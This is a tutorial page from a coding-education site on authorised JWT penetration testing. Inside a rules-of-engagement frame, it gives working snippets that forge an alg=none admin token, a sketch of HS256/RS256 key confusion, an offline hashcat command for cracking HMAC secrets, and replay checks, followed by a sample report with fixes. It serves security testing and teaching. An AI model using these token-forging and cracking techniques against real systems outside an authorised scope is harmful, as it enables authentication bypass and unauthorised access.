iwantcoding.com
🔥 Daily 👥 Rooms 🏆 Top Log in Sign up

JWT Testing

JWT tokens are bearer credentials. The common bugs are alg=none acceptance, HS256/RS256 confusion, weak HMAC keys, missing audience checks, and over-long expiries. Testing for them in an authorised engagement means sending crafted tokens and watching for unexpected acceptance — never extracting data the RoE forbids.

Authorised JWT testing — common bugs, minimum PoC

EXAMPLE
# 1) Rules of engagement (excerpt — must be signed before any run)
# - Target:      https://target.lab.example.test (staging mirror, no prod data)
# - Window:      2026-06-11 09:00 - 17:00 AEST
# - Scope:       JWT verification logic in /api/auth/* and /api/admin/*
# - Off-limits:  prod hosts, real users, exfiltration of tokens belonging to others.
# - PoC policy:  prove the bug WITHOUT escalating to actions outside the test account.
# - Stop:        5xx burst, incident-channel page, RoE end time.

# 2) Capture a valid token first — log in as the test user
TOKEN=$(curl -s -X POST https://target.lab.example.test/api/auth/login \
  -H 'content-type: application/json' \
  -d '{"email":"qa-test@target.lab","password":"<provided>"}' \
  | jq -r .token)

# 3) Decode the header and payload (NOT a security boundary — just base64url)
echo "$TOKEN" | cut -d. -f1 | base64 -d | jq .   # header
echo "$TOKEN" | cut -d. -f2 | base64 -d | jq .   # claims

# 4) Test: alg=none acceptance
#    Craft a token with alg=none, no signature, claim role=admin.
#    A correctly written verifier REJECTS with 401; a vulnerable one accepts.
python3 - <<'PY'
import base64, json
def b64(d): return base64.urlsafe_b64encode(d).rstrip(b'=').decode()
header  = b64(b'{"alg":"none","typ":"JWT"}')
payload = b64(json.dumps({'sub':'qa-test','role':'admin','exp':9999999999}).encode())
print(f'{header}.{payload}.')
PY
# curl with the forged token — expect 401 if the bug is NOT present.
curl -s -o /dev/null -w '%{http_code}\n' \
  -H "authorization: Bearer <forged>" \
  https://target.lab.example.test/api/admin/users

# 5) Test: HS256 vs RS256 key-confusion
#    The server expects RS256 (public key verification). A vulnerable server
#    also accepts HS256 and uses the RSA public key as the HMAC secret.
# Steps (sketch only — DO NOT run against any unscoped target):
# - Fetch the server's public key from the .well-known/jwks.json endpoint
# - Re-sign a tampered payload with HS256 using that public key as the secret
# - Send the token; success indicates the bug.
# - In the report, propose the fix: explicit algorithms=['RS256'] in the verifier.

# 6) Test: missing audience check
#    Issue a token from a different scope ('aud': 'support-bot') and replay
#    it against the customer API. If accepted, the verifier does not check 'aud'.

# 7) Test: weak HMAC secret
#    For HS256 tokens, attempt a SHORT dictionary attack OFFLINE
#    (no server traffic) with a small wordlist of common defaults.
#    A weak secret cracks in seconds; a strong one will not.
# Tool: hashcat -m 16500 token.jwt rockyou-short.txt
# REPORT it; do not use the cracked secret to access anything.

# 8) Test: expired/expiry-not-enforced
#    Modify 'exp' to a past timestamp; re-sign with the real secret if you
#    have access to a test signer. If the server still accepts, expiry is not
#    being checked.

# 9) Report — one finding per page, plain language
cat <<'EOF'
## Finding: JWT verifier accepts alg=none
Severity:  Critical (authentication bypass)
Endpoint:  POST /api/admin/users
Steps:     Submit the forged token in step 4 with role=admin.
Response:  200 OK (expected: 401)
Fix:       In the verifier, pin algorithms=['RS256']; reject 'none' and any
           algorithm not on the allowlist BEFORE trusting the header's alg.
Reference: RFC 7518 §6.1; CVE-2015-9235 family.
EOF

Why it matters

Document the fix in code-level detail, not just the finding. The remediation that gets shipped fastest is the one that already names the function, the parameter, and the correct value (e.g., `jwt.verify(token, key, { algorithms: ["RS256"], audience: "shop-api" })`). A clean PoC plus a concrete fix is what triages quickly.

Tip: Tweak the snippet with Try it Yourself », then sit the quiz at the bottom of the page.

Example

Example
# JWT checks (on AUTHORISED apps):
#   - alg=none accepted?    → critical
#   - Public key confusion (HS256 with the public RSA key as secret)?
#   - Expired token still accepted?
#   - kid header path-traversal?
# Defence: pin algorithm, validate signature first, reject alg=none.
Try it Yourself »

Discussion

Loading…